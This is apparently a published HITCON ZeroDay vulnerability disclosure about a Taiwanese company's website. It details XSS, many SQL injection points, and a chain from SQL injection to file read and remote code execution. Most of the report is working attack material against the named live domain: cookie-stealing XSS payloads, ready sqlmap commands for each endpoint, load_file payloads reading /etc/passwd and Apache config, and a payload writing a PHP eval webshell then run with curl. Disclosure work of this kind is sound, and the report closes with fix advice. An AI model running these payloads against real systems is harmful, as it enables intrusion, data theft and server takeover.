崇友實業股份有限公司 網站存在 XSS 與 SQLinjection to LFI 與 SQL injection to RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00457
  •  發信 Vendor: 祟友實業股份有限公司
  • Title: 崇友實業股份有限公司 網站存在 XSS 與 SQLinjection to LFI 與 SQL injection to RCE
  • Introduction: 網站存在 XSS 與 SQLinjection to LFI 與 SQL injection to RCE

處理狀態

目前狀態

公開
Last Update : 2023/11/02
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/09/02 12:56:19 : 新提交 (由 BTtea 更新此狀態)
  • 2023/09/02 13:04:33 : 新提交 (由 BTtea 更新此狀態)
  • 2023/09/02 13:11:01 : 新提交 (由 BTtea 更新此狀態)
  • 2023/09/04 11:34:30 : 新提交 (由 BTtea 更新此狀態)
  • 2023/09/04 11:39:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/09/14 13:20:51 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/09/14 13:20:51 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/09/18 09:01:13 : 修補中 (由 組織帳號 更新此狀態)
  • 2023/09/26 15:45:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/11/02 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00457
  • 通報者:blacktea_player (BTtea)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.gfc.com.tw/project_list.php
https://www.gfc.com.tw/product.php
https://www.gfc.com.tw/js/ajax/model_qua.php
https://www.gfc.com.tw/js/ajax/model_sethouse.php
https://www.gfc.com.tw/js/ajax/model_deploy.php
https://www.gfc.com.tw/model_detail_print.php
https://www.gfc.com.tw/news_detail.php
https://www.gfc.com.tw/invest.php
https://www.gfc.com.tw/project_detail.php
https://www.gfc.com.tw/prod_detail.php
https://www.gfc.com.tw/oper_detail.php
https://www.gfc.com.tw/esg_detail.php

敘述

使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )

  • XSS

    https://www.gfc.com.tw/project_list.php?PC_ID=1&startAt=0
    GET 參數 startAt 存在 XSS
    xss payload

    "><script>alert(document.cookie)</script>
    </script><script>alert(document.cookie)</script>
    );alert(document.cookie)//

    運行結果
    圖片

  • SQL injection

    由於注入點過多,佐證圖片上傳數量有限,因此僅會有一項SQL injection弱點有注入結果圖片,其他僅做文字敘述與payload佐證

    • https://www.gfc.com.tw/product.php?EC_ID=20150727002
      GET 參數 EC_ID 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/product.php?EC_ID=20150727002" --union-cols 10 --batch --dbs

      運行結果
      圖片

    • https://www.gfc.com.tw/js/ajax/model_qua.php
      POST : NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P
      POST 參數 NT_Name , NT_Style , NT_GorA , NT_host 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      • NT_Name

        python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --batch --union-cols 34 --technique BTU --dbs -p NT_Name
      • NT_Style

        python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --technique BT --batch --dbs -p NT_Style
      • NT_GorA

        python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --technique BTU --union-cols 34 --batch --dbs -p NT_GorA
      • NT_host

        python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_qua.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P" --technique BTU --union-cols 34 --batch --dbs -p NT_host
    • https://www.gfc.com.tw/js/ajax/model_sethouse.php
      POST : NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)
      POST 參數 NT_Qua 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_sethouse.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)" --technique BTU --union-cols 20 --batch -p NT_Qua
    • https://www.gfc.com.tw/js/ajax/model_deploy.php
      POST : NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Speed=60
      POST 參數 NT_Speed 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/js/ajax/model_deploy.php" --data "NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Speed=60" --technique BT --batch --dbs -p NT_Speed
    • https://www.gfc.com.tw/model_detail_print.php?NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Sethouse=&NT_Speed=60
      GET 參數 NT_Sethouse 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/model_detail_print.php?NT_Name=%E4%B9%98%E5%AE%A2%E9%9B%BB%E6%A2%AF&NT_Style=Y&NT_GorA=G&NT_host=P&NT_Qua=P6(450)&NT_Sethouse=&NT_Speed=60" --technique BT --batch --dbs -p NT_Sethouse
    • https://www.gfc.com.tw/product.php?EC_ID=20150727001&EL_ID=20150727001
      GET 參數 EL_ID 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/product.php?EC_ID=20150727001&EL_ID=20150727001" --technique B --batch -p EL_ID --dbs
    • https://www.gfc.com.tw/news_detail.php?SL_ID=20230209001
      GET 參數 SL_ID 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/news_detail.php?SL_ID=20230209001" --batch --technique BTU --union-cols 10 --dbs
    • https://www.gfc.com.tw/invest.php?PC_ID=20150617001
      GET 參數 PC_ID 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/invest.php?PC_ID=20150617001" --batch --technique BT --dbs
    • https://www.gfc.com.tw/project_detail.php?PL_ID=20201028001
      GET 參數 PL_ID 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/project_detail.php?PL_ID=20201028001" --union-cols 9 --batch --technique BT --dbs
    • https://www.gfc.com.tw/prod_detail.php?prodId=15
      GET 參數 prodId 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/prod_detail.php?prodId=15" --technique TU --union-cols 7 --batch --dbs
    • https://www.gfc.com.tw/oper_detail.php?operId=20
      GET 參數 operId 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/oper_detail.php?operId=20" --technique TU --union-cols 6 --batch --dbs
    • https://www.gfc.com.tw/esg_detail.php?esgId=69
      GET 參數 esgId 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "https://www.gfc.com.tw/esg_detail.php?esgId=69" --technique BTU --union-cols 7 --batch --dbs
    • 未確認的注入頁面,為了不汙染原始環境,請針對此頁面的參數做檢查
      https://www.gfc.com.tw/contact_detail.php?PC_ID=20150715001

  • SQL injection to LFI

    由於資料庫權限過大,所以可以讀檔,嘗試讀取linux常見檔案,執行後可於查看html代碼的地方搜尋product_ele,快速定位到該注入點
    PoC payload

    https://www.gfc.com.tw/product.php?EC_ID=20150727002' and 1=0 union select 1,2,3,4,5,6,7,8,9,concat('">%0A',load_file('/etc/passwd'),'</div>')-- -

    運行結果
    圖片

  • SQL injection to RCE

    透過上面的SQL injection to LFI查找apache或者相關的站點設定檔,找到路徑為 /etc/httpd/conf/httpd.conf
    PoC payload

    https://www.gfc.com.tw/product.php?EC_ID=20150727002%27%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,9,concat(%27%22%3E%0A%27,load_file(%27/etc/httpd/conf/httpd.conf%27),%27%3C/div%3E%27)--%20-

    由於瀏覽器會解析標籤導致訊息顯示異常,所以用shell的方式查看資訊
    command

    # windows
    curl "https://www.gfc.com.tw/product.php?EC_ID=20150727002%27%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,9,concat(%27%22%3E%0A%27,load_file(%27/etc/httpd/conf/httpd.conf%27),%27%3C/div%3E%27)--%20-" -s|find "Directory"
    
    # linux
    curl "https://www.gfc.com.tw/product.php?EC_ID=20150727002%27%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,9,concat(%27%22%3E%0A%27,load_file(%27/etc/httpd/conf/httpd.conf%27),%27%3C/div%3E%27)--%20-" -s|grep "Directory"

    運行結果
    圖片

    然後可發現實體路徑,然後嘗試在前端可發現路徑下發現無法寫檔

    使用網站路徑掃描工具發現的後端路徑
    https://www.gfc.com.tw/backend/

    透過上SQLmap工具獲取後台帳密,由於密碼過於簡單,因此即使經過了MD5的加密,還是可以透過彩虹表解開密碼,然後在後台發現可寫檔路徑為

    為了不洩漏資訊,以中文「實體路徑」表示網站根目錄實體路徑位址
    實體路徑 /backend/performance/PL_Pic/PL_Pic1
    
    假設網站根目錄是在/tmp/test的話
    那就是 /tmp/test/backend/performance/PL_Pic/PL_Pic1

    利用 SQL injection 注入點寫 WebShell
    PoC payload

    https://www.gfc.com.tw/product.php?EC_ID=20150727002' and 1=0 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'<?php function r($a){ eval($a);} r($_GET[1]);?>' into outfile '實體路徑/backend/performance/PL_Pic/PL_Pic1/abc.php'-- -

    運行結果
    圖片

    command

    curl "https://www.gfc.com.tw/backend/performance/PL_Pic/PL_Pic1/abc.php?1=system('id');"

    運行結果
    圖片

  • 無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害

    https://www.gfc.com.tw/.DS_Store (可能導致洩漏目錄結構,建議刪除)
    https://www.gfc.com.tw/backend/ (後台)
    https://www.gfc.com.tw/cgi-bin/test.cgi
    https://www.gfc.com.tw/test.php
    https://www.gfc.com.tw/test2.php

  • 可正常建立連線之port

    3005/tcp open tcpwrapped
    3007/tcp open tcpwrapped

上傳之後門已盡數刪除

修補建議

建議可以使用 htmlspecialchars 函式來預防 XSS

htmlspecialchars用法:
https://www.w3schools.com/php/func_string_htmlspecialchars.asp

XSS攻擊防禦原理解說:(wiki):
https://zh.wikipedia.org/zh-tw/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC


建議可以使用 PDO 框架或者 mysqli_real_escape_string 函式,或者改寫成參數化查詢來預防 SQL injection。並且資料庫存取權限應符合最小存取需求,避免使用 root

PDO用法:
https://blog.tarswork.com/article/quick-start-operation-mysql-using-php-pdo/

mysqli_real_escape_string用法:
https://www.runoob.com/php/func-mysqli-real-escape-string.html

參數化查詢原理解說(wiki):
https://zh.wikipedia.org/zh-tw/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2

SQL injection 攻擊成因解說(wiki):
https://zh.wikipedia.org/zh-tw/SQL%E6%B3%A8%E5%85%A5

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;